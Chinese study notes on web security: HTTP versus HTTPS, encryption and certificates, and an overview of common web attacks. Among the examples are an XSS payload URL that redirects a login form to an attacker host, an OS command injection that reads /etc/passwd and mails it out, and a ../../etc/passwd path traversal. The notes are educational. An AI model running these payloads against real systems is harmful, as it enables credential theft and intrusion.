web安全
互联网上任何角落都存在通信内容被窃听的风险
http的缺点
- 通信使用明文(不加密),明文报文不具备保密性,内容可能被窃听
- 不验证通信方的身份(不进行身份验证),因此有可能遇到伪装
-
- 无法证明报文的完整性,所以有可能已遭篡改(无法保证报文未被篡改)
所以http协议的不足概括的讲就是:内容保密性、身份验证、内容完整性;这些问题在其他未加密的协议中也会存在
问题
- ?为什么说java和http等编程语言开发的应用程序也可能存在安全漏洞
- wireshark抓包工具获取http协议的请求和响应内容,三次握手
针对加密
- SSL: 提供认证和加密处理以及摘要功能,是应用最为广泛的网络安全技术
- 通信的加密:通过和SSL(Secure Socket Layer,安全套接层)或TLS(Transport Layer Security,安全传输层)的组合使用。加密http的通信内容。与SSL组合使用的http就是https或者http over ssl
- 内容的加密:将参与的通信内容本身加密,需要客户端和服务器同时具备加密和解密机制
由于通过内容加密不同于SSL或TSL将整个通信线路加密,所以内容仍然会被篡改;
组合模式暗含职责单一的设计原则,http协议的安全性通过组合SSL来实现。两者各司其职,又可以根据场景组合使用,灵活性很高。
https
HTTP+加密+认证+完整性保护=HTTPS
通信方式
- http是直接和tcp通信
- https 是http先和ssl通信,在由ssl和tcp通信
- 采用ssl后,http就拥有了https的加密、证书和完整性保护这些功能
加密方式
- 共享密钥加密
加密和解密同用一个密钥的方式,也被称为对称密钥加密。
发送密钥就会存在被窃听的风险,但不发送,对方就不能解密。再者密钥若是能够安全的发送,那数据也应该能安全的送达
- 公开密钥加密
SSL采用公开密钥加密
公开密钥加密使用一对非对称的密钥。发送密文的一方使用对方的公开密钥进行加密处理,收到被加密的信息后,在使用自己的私有密钥进行解密
- https采用混合加密机制
https采用共享密钥加密和公开密钥加密并用的混合加密机制
公开密钥加密与共享密钥加密相比,加密方式更为复杂,其处理速度要慢,因此若在通信时使用公开密钥加密,效率就很低。
所以交换密钥环节使用公开密钥加密方式,之后建立通信交换报文阶段使用则使用共享密钥加密方式
证明公开密钥正确性的证书
密钥在传输的过程中也可能被攻击者截取,所以在加密时无法确认收到的公开密钥就是希望得到的密钥
- 公开密钥证书
数字认真机构(CA,Certificate Authority)和其相关机构颁发的公开密钥证书
- 可证明组织真实性的EV SSL证书
证明作为通信一方的服务器是否规范
确认对方服务器背后运营的企业是否真实存在
- 客户度端证书
客户端证书用于特殊用途。比如可支撑客户端证书支出费用的业务,银行的网上银行就采用了客户端证书
- 自签名证书: 自由认证机构颁发的证书
使用openssl开源程序,每个人都可以构建一套属于自己的认证机构,从而给自己颁发服务器证书
浏览器访问自签名证书服务器会显示无法确认链接安全性或者该网站的安全证书存在问题等警告信息
https缺点
- 由于https还需要做服务器,客户端双方加密以及解密处理,因此会消耗cpu和内存等硬件资源
- 和http相比,ssl通信部分消耗网络资源。而ssl通信部分,又因为要对通信进行处理所以时间上又延长了
- 和http相比,网络负载可能会变慢2到100倍
因此非敏感信息使用http通信,只有在包含个人信息等敏感数据才使用https通信,另外使用证书必须向认证机构购买
认证机制
- BASIC认证(基本认证)
- DIGEST认证(摘要认证)
- SSL客户端认证
- FormBase认证(基于表单认证)
web攻击
来自互联网的攻击大多是针对web站点
所有网站都会使用会话(session)管理、加密处理等安全性方面的功能,而http协议内并不具备这些功能
因此开发者需要自行设计并开发认证以及会话管理功能,而自行设计就意味着会出现各种形形色色的实现
结果安全等级并不完备,可仍在运作的web应用背后隐藏这各种容易被攻击者滥用的安全漏洞的bug
攻击模式
- 主动攻击
攻击者直接访问web应用,把攻击代码传入的攻击模式,由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到哪些资源
代表性的SQL注入攻击和OS命令注入攻击
- 被动攻击
利用全套策略执行攻击代码。在被动攻击过程中,攻击者不直接对目标应用访问发起攻击
利用被动攻击,可以发起对原本从互联网上无法直接访问的企业内网等网络的攻击
代表性的跨站脚本攻击和跨站点请求伪造
因输出值转义不完全引发的安全漏洞
客户端验证-->(http请求)-->输入-->处理-->输出
-->http响应
-->访问db数据库
-->访问文件服务器
针对输出值做转义是一项至关重要的安全策略。当输入值转义不完全时,会触发攻击者传入的代码
- 1.跨站脚本攻击
是指在浏览器内运行非法HTML标签或者javascript进行的一种攻击
发生在动态生成html
如在输入框内输入“<s>姓名</s>”经过浏览器解析后会显示删除线
通常可以通过标签伪造输入页面
实现:
利用虚假输入表单骗取用户个人信息
对用户cookie的窃取攻击
-
原url和网址
-
- 受攻击的url
http://example.jp/login? ID="><script>var+f=document=>.getElementById("login"); +f.action="http://hackr.jp/pwget"; +f.method==>"get";</script><span+s="
-
用户点击受攻击后url的效果
-
- 2.sql注入攻击
是指运行非法的sql产生的攻击
实现:
非法查看或者篡改数据库内的数据
规避认证
执行和数据库服务器业务关联的程序
-
期望的结果
-
-
用户输入值“上官野' --”
-
-
代码中的实现
-
- 3.os命令注入攻击
执行非法的操作系统命令达到攻击的目的,只要在能调用shell函数的地方就存在被攻击的风险
实现:
利用shell发送邮件
获取系统密码 cat /etc/passwd; mail XXXX@silas.com
- 4.http首部注入攻击
攻击者通过在响应首部字段插入换行。添加任意响应首部或者主体的一种攻击
http响应截断攻击
实现:
设置任何的cookie信息
重定向至任意的url
显示任意的主体
- 利用在首部添加两次换行,可以伪造用户浏览器显示的网页,在让用户输入个人信息,可达到和跨站脚本攻击类似的效果
5.邮件首部注入攻击
攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击
实现:
广告邮件
病毒邮件
- 6.目录遍历攻击
通过非法截断其目录路径后,达成访问的一种攻击,也称为路径遍历(Path Traversal)攻击。
实现:
通过../非法浏览、篡改、删除web服务器上的文件
- http://read.php?log=0401.log --> http//read.php?log=../../etc/passwd
7.远程文件包含漏洞
因设置或设计上的缺陷引发的安全漏洞
- 1.强制浏览
从安置在web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件
实现:
泄漏顾客的个人信息等
泄漏原本需要访问权限的用户才可以查阅的信息内容
泄漏未外连到外界的文件
- 通过已知url推测出其他的url
2.不正确的错误消息处理
应用程序的错误信息包含对攻击者有用的错误信息
实现:
web应用抛出的错误信息
数据库等系统抛出的错误信息
- 输入用户名时提示用户未注册可以让攻击者确认该账号是否存在
3.开放重定向
对指定的任意url作重定向跳转的功能
实现:
指定的url重定向到具有恶意的web网站,用户就可以被诱导
-- http://test.sials.com?redirect=http://test.hh.com
因会话管理疏忽引发的安全漏洞
会话管理的疏忽导致用户的认证状态被窃取
- 1.会话劫持
攻击者通过某种手段拿到用户的会话id。并非法使用此会话id,达到攻击的目的
获取会话id的途径:
通过非正规的生成方法推测会话id
通过窃听或者XSS攻击盗取会话id
- 2.会话固定攻击
强制用户使用攻击者指定的会话id
攻击者先访问web网站拿到未认证的会话id
诱导用户使用这个id去认证
攻击者得到认证的会话id
- 3.跨站的请求伪造
攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等的更新
实现:
利用已通过认证的用户权限购买商品
其他安全漏洞
- 1.密码破解
通过网络的密码试错
对已加密密码的破解(指攻击者入侵系统,已获取加密或者散列处理的密码数据的情况)
- 2.点击劫持
利用透明的按钮或者链接做成陷阱,覆盖在web网页之上
- 3.DOS攻击
DOS(Denial of Service attack) 是一种让运行中的服务呈停止状态的攻击,有时也叫服务停止攻击或者拒绝服务攻击。DOS攻击很难预防
多台计算机发起的DoS攻击称为DDos攻击(Distributed Denial of Serive attack)
实现:
集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态
通过攻击安全漏洞使服务停止
- 4.后门程序
开发者设置的隐藏入口